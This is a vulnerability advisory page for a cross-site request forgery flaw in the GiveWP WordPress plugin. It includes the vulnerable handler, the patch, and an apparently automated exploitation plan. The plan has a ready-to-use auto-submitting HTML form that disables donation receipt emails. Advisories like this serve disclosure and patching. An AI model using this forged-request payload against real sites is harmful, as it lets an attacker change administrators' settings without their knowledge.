CVE-2026-11981

GiveWP <= 4.15.3 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
4.15.4
Patched in
1d
Time to patch

Description

The GiveWP plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 4.15.3 This is due to missing nonce validation on the give_set_notification_status_handler() function. This makes it possible for unauthenticated attackers to disable donation email notifications via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.15.3
PublishedJune 30, 2026
Last updatedJuly 1, 2026
Affected plugingive

What Changed in the Fix

Changes introduced in v4.15.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-11981 (GiveWP CSRF) ## 1. Vulnerability Summary The GiveWP plugin (<= 4.15.3) is vulnerable to Cross-Site Request Forgery (CSRF) because the function `give_set_notification_status_handler()` lacks any nonce validation. While the function performs a capability …

Show full research plan

Exploitation Research Plan: CVE-2026-11981 (GiveWP CSRF)

1. Vulnerability Summary

The GiveWP plugin (<= 4.15.3) is vulnerable to Cross-Site Request Forgery (CSRF) because the function give_set_notification_status_handler() lacks any nonce validation. While the function performs a capability check (current_user_can( 'manage_give_settings' )), it does not verify the intent of the user. An attacker can trick an authenticated administrator into clicking a link or visiting a malicious site that submits a forged request to the vulnerable AJAX endpoint, allowing the attacker to enable or disable specific donation email notifications.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: give_set_notification_status
  • HTTP Method: POST
  • Authentication Required: Administrator (or user with manage_give_settings capability)
  • Vulnerable Parameter(s):
    • notification_id: The ID of the notification to modify (e.g., donation-receipt).
    • status: The target status (e.g., disabled or enabled).
  • Preconditions: An administrator must be logged in and perform a request (typically via an auto-submitting HTML form on an attacker-controlled page).

3. Code Flow

  1. The AJAX request is dispatched to admin-ajax.php with action=give_set_notification_status.
  2. WordPress triggers the hook: add_action( 'wp_ajax_give_set_notification_status', 'give_set_notification_status_handler' ) in includes/admin/emails/ajax-handler.php.
  3. The function give_set_notification_status_handler() is called:
    • It checks permissions using current_user_can( 'manage_give_settings' ).
    • It retrieves notification_id and status from $_POST.
    • Vulnerability: It proceeds directly to give_update_option() without calling check_ajax_referer() or wp_verify_nonce().
  4. give_update_option( "{$notification_id}_notification", $_POST['status'] ) updates the database.
  5. The server returns wp_send_json_success().

4. Nonce Acquisition Strategy

No nonce is required.
The vulnerability is specifically characterized by the absence of nonce validation. The give_set_notification_status_handler function in includes/admin/emails/ajax-handler.php does not contain any calls to check_ajax_referer or wp_verify_nonce.

5. Exploitation Strategy

The goal is to disable the "Donation Receipt" email notification using a CSRF attack.

Step-by-Step Plan:

  1. Identify Notification ID: Typical GiveWP notification IDs include donation-receipt, new-donation, and donor-register.
  2. Prepare Exploit: Construct a POST request to admin-ajax.php.
  3. Execute Request: Use the http_request tool to simulate the authenticated administrator sending the request.

HTTP Request Details:

  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: give_set_notification_status
    • notification_id: donation-receipt
    • status: disabled

6. Test Data Setup

  1. Install Plugin: Ensure GiveWP <= 4.15.3 is active.
  2. Verify Initial State: Ensure the "Donation Receipt" notification is currently enabled in GiveWP settings.
    • Navigate to: GiveWP -> Settings -> Emails -> Notifications.
    • Locate "Donation Receipt" and confirm it is "Enabled".
  3. User Role: Create or identify an administrator user to serve as the victim.

7. Expected Results

  • Response Body: {"success":true}
  • Response Status: 200 OK
  • Database Change: The setting for donation-receipt_notification will be updated to disabled.

8. Verification Steps

  1. WP-CLI Verification: Check the value of the updated setting.
    wp option get give_settings --format=json
    
    Note: GiveWP settings are usually stored in a serialized array under the give_settings option. Check for the key donation-receipt_notification within that array.
  2. UI Verification: Log in as an admin and navigate to GiveWP -> Settings -> Emails -> Notifications. Observe that "Donation Receipt" is now "Disabled".

9. Alternative Approaches

  • Different Notification: If donation-receipt is already disabled, target new-donation (Admin notification).
  • Enable instead of Disable: If the goal is to demonstrate unauthorized modification, change status from disabled to enabled.
  • HTML Form PoC: Create an HTML file on the server and use browser_navigate to visit it as the admin:
    <form id="csrf" action="http://localhost:8080/wp-admin/admin-ajax.php" method="POST">
        <input type="hidden" name="action" value="give_set_notification_status">
        <input type="hidden" name="notification_id" value="donation-receipt">
        <input type="hidden" name="status" value="disabled">
    </form>
    <script>document.getElementById('csrf').submit();</script>
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The GiveWP plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 4.15.3. This is due to missing nonce validation in the AJAX handler for notification settings, which allows an attacker to trick an administrator into enabling or disabling donation email notifications via a forged request.

Vulnerable Code

// includes/admin/emails/ajax-handler.php:18
function give_set_notification_status_handler() {
	// Is user have permission to edit give setting.
	if ( ! current_user_can( 'manage_give_settings' ) ) {
		return;
	}

	$notification_id = isset( $_POST['notification_id'] ) ? give_clean( $_POST['notification_id'] ) : '';
	if ( ! empty( $notification_id ) && give_update_option( "{$notification_id}_notification", give_clean( $_POST['status'] ) ) ) {
		wp_send_json_success();
	}

	wp_send_json_error();
}

Security Fix

--- includes/admin/emails/ajax-handler.php
+++ includes/admin/emails/ajax-handler.php
@@ -17,6 +17,8 @@
  */
 function give_set_notification_status_handler() {
+	check_ajax_referer( 'give_set_notification_status', 'nonce' );
+
 	// Is user have permission to edit give setting.
 	if ( ! current_user_can( 'manage_give_settings' ) ) {
 		return;

Exploit Outline

The exploit methodology involves crafting a Cross-Site Request Forgery (CSRF) attack against a site administrator. 1. Target Endpoint: The attack targets the WordPress AJAX endpoint at '/wp-admin/admin-ajax.php'. 2. Request Parameters: A POST request must be constructed with 'action=give_set_notification_status', 'notification_id' set to a valid notification key (e.g., 'donation-receipt'), and 'status' set to 'disabled' (to stop receipts) or 'enabled'. 3. Authentication Requirement: The victim must be a logged-in administrator (or a user with 'manage_give_settings' capabilities). 4. Delivery: The attacker hosts a malicious HTML page containing an auto-submitting form. When the authenticated victim visits this page, the browser automatically sends the forged POST request to the target site. Because the plugin does not verify a nonce, it processes the request and updates the site's email settings based on the attacker's parameters.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.